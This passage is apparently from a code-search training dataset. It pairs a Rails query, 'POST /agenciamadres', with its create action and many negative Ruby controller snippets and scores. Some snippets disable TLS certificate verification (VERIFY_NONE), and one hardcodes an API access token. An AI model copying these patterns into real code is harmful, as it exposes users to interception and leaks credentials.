=> @orc_empenho_iten }\n end\n end", "def show\n @ganho = Ganho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganho }\n end\n end", "def show\n @association = Association.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @association.to_xml }\n end\n end", "def show\n @rede = Rede.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rede }\n end\n end", "def show\n @estatu = Estatu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estatu }\n end\n end", "def show\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @iguanasactualizacion }\n end\n end", "def show\n @reclamo = Reclamo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reclamo }\n end\n end", "def show\n @genre = Genre.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @genre.to_xml }\n end\n end", "def show\n @rig = Rig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rig }\n end\n end", "def show\n @mri_scan = MriScan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mri_scan }\n end\n end", "def show\n @correspondenciasasignada = Correspondenciasasignada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @correspondenciasasignada }\n end\n end", "def show\n @estacion = Estacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estacion }\n end\n end", "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def path\n \"/onca/xml\"\n end", "def show\n @frequencia_setor = Frequencia::Setor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb.erb\n format.xml { render :xml => @frequencia_setor }\n end\n end", "def index\n @ingresos = Ingreso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingresos }\n end\n end", "def show\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end", "def show\n @tag = Tag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tag.to_xml({:deep => true}) }\n end\n end", "def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end", "def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def show\n @vaga = Vaga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vaga }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end", "def show\n @genres = Genre.find(:all)\n @genre = Genre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @genre }\n end\n end", "def index\n @retiradas = Retirada.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retiradas }\n end\n end", "def show\n @imagen = Imagen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @imagen }\n end\n end", "def show\n @gallion = Gallion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallion }\n end\n end", "def index\n debugger\n @receitas = Receita.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receitas }\n end\n end", "def show\n @regdb = Regdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @regdb }\n end\n end", "def show\n @allergy = Allergy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @allergy }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alimentos }\n end\n end", "def show\n @advertiser = Advertiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @advertiser.to_xml }\n end\n end", "def show\n @correspondenciasclase = Correspondenciasclase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @correspondenciasclase }\n end\n end", "def show\n @atividade = Atividade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atividade }\n end\n end", "def show\n @revenu = @foyer.revenus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @revenu }\n end\n end", "def show\n @apparel = Apparel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @apparel }\n end\n end", "def show\n @visarequest = Visarequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visarequest }\n end\n end", "def show\n @remocao = Remocao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @remocao }\n end\n end", "def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def show\n @ingrediente = Ingrediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingrediente }\n end\n end", "def show\n @aniversario = Aniversario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "def show\n @advertise = Advertise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advertise }\n end\n end", "def show\n @zorg_voor_jeugd_alias = ZorgVoorJeugdAlias.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @zorg_voor_jeugd_alias }\n end\n end", "def show\n @regiment = Regiment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @regiment }\n end\n end", "def show\n\t\t@hra = Hra.find(params[:id])\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @hras }\t\t#Render to XML File\n \tend\n\tend", "def show\n @entrada = Entrada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entrada }\n end\n end", "def show\n @occurrence = Occurrence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @occurrence }\n end\n end", "def show\n @rg_task = RgTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rg_task }\n end\n end", "def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lore }\n end\n end" ]
[ "0.6237832", "0.62087727", "0.6183817", "0.61069185", "0.6057191", "0.60394096", "0.6030785", "0.60258734", "0.5999758", "0.5983949", "0.59808916", "0.59781045", "0.5955818", "0.59473175", "0.59176636", "0.59057117", "0.5896805", "0.5892465", "0.5879226", "0.58749354", "0.58702004", "0.58492666", "0.58409387", "0.58361304", "0.58292526", "0.5828407", "0.5825858", "0.5817497", "0.5805666", "0.58053935", "0.58050036", "0.58012575", "0.5799159", "0.5783802", "0.57837796", "0.5768878", "0.57686025", "0.5760713", "0.5760713", "0.57598364", "0.57598364", "0.5754685", "0.5747547", "0.5745021", "0.5741704", "0.57318485", "0.5730931", "0.5725981", "0.57256657", "0.5722836", "0.572019", "0.5719154", "0.5717564", "0.5711976", "0.5711893", "0.5711628", "0.57101923", "0.57059026", "0.5703305", "0.57013506", "0.56972456", "0.5695254", "0.5693185", "0.5693181", "0.5692575", "0.56910497", "0.56903505", "0.5690134", "0.568706", "0.568406", "0.5679524", "0.56769717", "0.567691", "0.56750643", "0.5674237", "0.5672102", "0.5664925", "0.5660881", "0.5658001", "0.5657659", "0.56529295", "0.56523615", "0.56486654", "0.56477374", "0.5647373", "0.56465006", "0.5645093", "0.5644599", "0.56443274", "0.56442416", "0.564197", "0.5641725", "0.5640339", "0.56343937", "0.56301695", "0.5622211", "0.5622001", "0.5621072", "0.56193817", "0.56177866" ]
0.6580325
0
GET /agenciamadres/new GET /agenciamadres/new.xml
def new @agenciamadre = Agenciamadre.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @agenciamadre } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n @arrendamientosprorroga = Arrendamientosprorroga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arrendamientosprorroga }\n end\n end", "def new\n @gene_ontology = GeneOntology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def new\n @retirada = Retirada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retirada }\n end\n end", "def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end", "def new\n @adjunto = Adjunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adjunto }\n end\n end", "def new\n @allergen = Allergen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @allergen }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @receita = Receita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def new\n @acre = Acre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @acre }\n end\n end", "def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @ingreso = Ingreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingreso }\n end\n end", "def new\n @regiaos = Regiao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regiaos }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @association = Association.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @association }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @relatorios = Relatorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def new\n @pagare = Pagare.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagare }\n end\n end", "def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lore }\n end\n end", "def new\n @remocao = Remocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @remocao }\n end\n end", "def new\n @aniversario = Aniversario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end", "def new\n @arc = Arc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arc }\n end\n end", "def new\n @arrendimientospago = Arrendimientospago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end", "def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end", "def new\n @entradas = Entrada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entradas }\n end\n end", "def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end", "def new\n @title = \"New Artefact\"\n @artefact = Artefact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artefact }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @poblacionesespecial = Poblacionesespecial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poblacionesespecial }\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "def new\n @reputacao_veiculo = ReputacaoVeiculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reputacao_veiculo }\n end\n end", "def new\n @vigencia = Vigencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vigencia }\n end\n end", "def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagamento }\n end\n end", "def new\n @distribuidora = Distribuidora.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @distribuidora }\n end\n end", "def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @articulo }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @regiment = Regiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regiment }\n end\n end", "def new\n @orc_suplementacao = OrcSuplementacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @orc_suplementacao }\n end\n end", "def new\n @Roc = Roc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Roc }\n end\n end", "def new\n @alfabe = Alfabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfabe }\n end\n end", "def new\n @ingredience = Ingredience.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingredience }\n end\n end", "def new\n @aktion = Aktion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aktion }\n end\n end", "def new\n @aauto = Aauto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aauto }\n end\n end", "def new\n @visaapp = Visaapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visaapp }\n end\n end", "def new\n @progre = Progre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @progre }\n end\n end", "def new\n @entrada = Entrada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entrada }\n end\n end", "def new\n @atividade = Atividade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atividade }\n end\n end", "def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end", "def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end", "def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def new\n @ganho = Ganho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganho }\n end\n end", "def new\n @catena = Catena.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def new\n @regdb = Regdb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regdb }\n end\n end", "def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end", "def new\n @promos = Promos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @promos }\n end\n end", "def new\n @auto = Auto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auto }\n end\n end", "def new\n @apparel = Apparel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @apparel }\n end\n end", "def new\n @impressoras = Impressora.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @impressoras }\n end\n end", "def new\n @atividade_avaliacao = AtividadeAvaliacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atividade_avaliacao }\n end\n end", "def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end", "def new\n @especificacao = Especificacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @especificacao }\n end\n end", "def new\n @pagina = Pagina.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagina }\n end\n end", "def new\n @norma = Norma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @norma }\n end\n end", "def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end", "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new\n @reputacao_carona = ReputacaoCarona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reputacao_carona }\n end\n end", "def new\n @reclamacao = Reclamacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reclamacao }\n end\n end", "def new\n @visarequest = Visarequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visarequest }\n end\n end", "def new\n @especial = Especial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @especial }\n end\n end", "def new\n @situacoes_juridica = SituacoesJuridica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @situacoes_juridica }\n end\n end", "def new\n @correspondenciasclase = Correspondenciasclase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @correspondenciasclase }\n end\n end", "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end", "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @rede = Rede.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rede }\n end\n end", "def new\n @proceso = Proceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proceso }\n end\n end", "def new\n @frequencia_orgao = Frequencia::Orgao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frequencia_orgao }\n end\n end", "def new\n @documentoclasificacion = Documentoclasificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentoclasificacion }\n end\n end", "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "def new\n @conseq = Conseq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conseq }\n end\n end", "def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end", "def new\n @entidade = Entidade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entidade }\n end\n end", "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end" ]
[ "0.7245398", "0.7164518", "0.71478367", "0.71264786", "0.712289", "0.70754814", "0.70577675", "0.7046149", "0.7043363", "0.7038602", "0.70277387", "0.7027488", "0.70097184", "0.70051676", "0.6998889", "0.69982636", "0.69962996", "0.6978991", "0.6969443", "0.69611156", "0.6948194", "0.6942272", "0.69397557", "0.6939256", "0.69342285", "0.69310933", "0.69305116", "0.69301355", "0.69172746", "0.69105524", "0.6908758", "0.68983406", "0.6897236", "0.6894656", "0.68889153", "0.6883021", "0.687858", "0.687858", "0.6874924", "0.6872461", "0.6872461", "0.6867423", "0.6866917", "0.6866013", "0.6864909", "0.68595654", "0.6859091", "0.6856318", "0.68562233", "0.6853884", "0.68504024", "0.68477166", "0.6844149", "0.6843452", "0.68432176", "0.6843017", "0.68416095", "0.6840615", "0.6838989", "0.6836514", "0.68363774", "0.6834607", "0.68331623", "0.6832358", "0.683103", "0.6828461", "0.68277675", "0.68269587", "0.68228906", "0.6822766", "0.68213356", "0.68167335", "0.68156105", "0.6815158", "0.6814634", "0.68099606", "0.68076646", "0.6801028", "0.6801028", "0.6800564", "0.6800564", "0.6800564", "0.67969114", "0.67954236", "0.679496", "0.67945284", "0.6793444", "0.6792874", "0.6788746", "0.6788141", "0.6787054", "0.6785996", "0.6784563", "0.67836154", "0.6783577", "0.6783577", "0.67826104", "0.67789376", "0.6778929", "0.6778682" ]
0.7411457
0
POST /agenciamadres POST /agenciamadres.xml
def create @agenciamadre = Agenciamadre.new(params[:agenciamadre]) respond_to do |format| if @agenciamadre.save format.html { redirect_to(@agenciamadre, :notice => 'Agencia Madre fue creada satisfactoriamente.') } format.xml { render :xml => @agenciamadre, :status => :created, :location => @agenciamadre } else format.html { render :action => "new" } format.xml { render :xml => @agenciamadre.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "def postEntityAdvertiserCreate( entity_id, tags, locations, max_tags, max_locations, expiry_date, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['max_tags'] = max_tags\n params['max_locations'] = max_locations\n params['expiry_date'] = expiry_date\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/create\",params)\n end", "def new\n @agenciamadre = Agenciamadre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @agenciamadre }\n end\n end", "def postEntityAdvertiserTag( gen_id, entity_id, language, tags_to_add, tags_to_remove)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n params['language'] = language\n params['tags_to_add'] = tags_to_add\n params['tags_to_remove'] = tags_to_remove\n return doCurl(\"post\",\"/entity/advertiser/tag\",params)\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def sfa_advertisement_xml(resources, opts = {})\n doc = Nokogiri::XML::Document.new\n #<rspec expires=\"2011-09-13T09:07:09Z\" generated=\"2011-09-13T09:07:09Z\" type=\"advertisement\" xmlns=\"http://www.protogeni.net/resources/rspec/2\" xmlns:emulab=\"http://www.protogeni.net/resources/rspec/ext/emulab/1\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.protogeni.net/resources/rspec/2 http://www.protogeni.net/resources/rspec/2/ad.xsd http://www.protogeni.net/resources/rspec/ext/emulab/1 http://www.protogeni.net/resources/rspec/ext/emulab/1/ptop_extension.xsd http://company.com/rspec/ext/stitch/1 http://company.com/rspec/ext/stitch/1/ad.xsd \"> \n root = doc.add_child(Nokogiri::XML::Element.new('rspec', doc))\n root.add_namespace(nil, \"http://www.protogeni.net/resources/rspec/2\")\n @@sfa_namespaces.each do |prefix, urn|\n root.add_namespace(prefix.to_s, urn)\n end\n\n root.set_attribute('type', \"advertisement\")\n now = Time.now\n root.set_attribute('generated', now.iso8601)\n root.set_attribute('expires', (now + (opts[:valid_for] || 600)).iso8601)\n\n #root = doc.create_element('rspec', doc)\n #doc.add_child root\n obj2id = {}\n _to_sfa_xml(resources, root, obj2id, opts) \n end", "def create\n @agencium = Agencium.new(agencium_params)\n\n respond_to do |format|\n if @agencium.save\n format.html { redirect_to 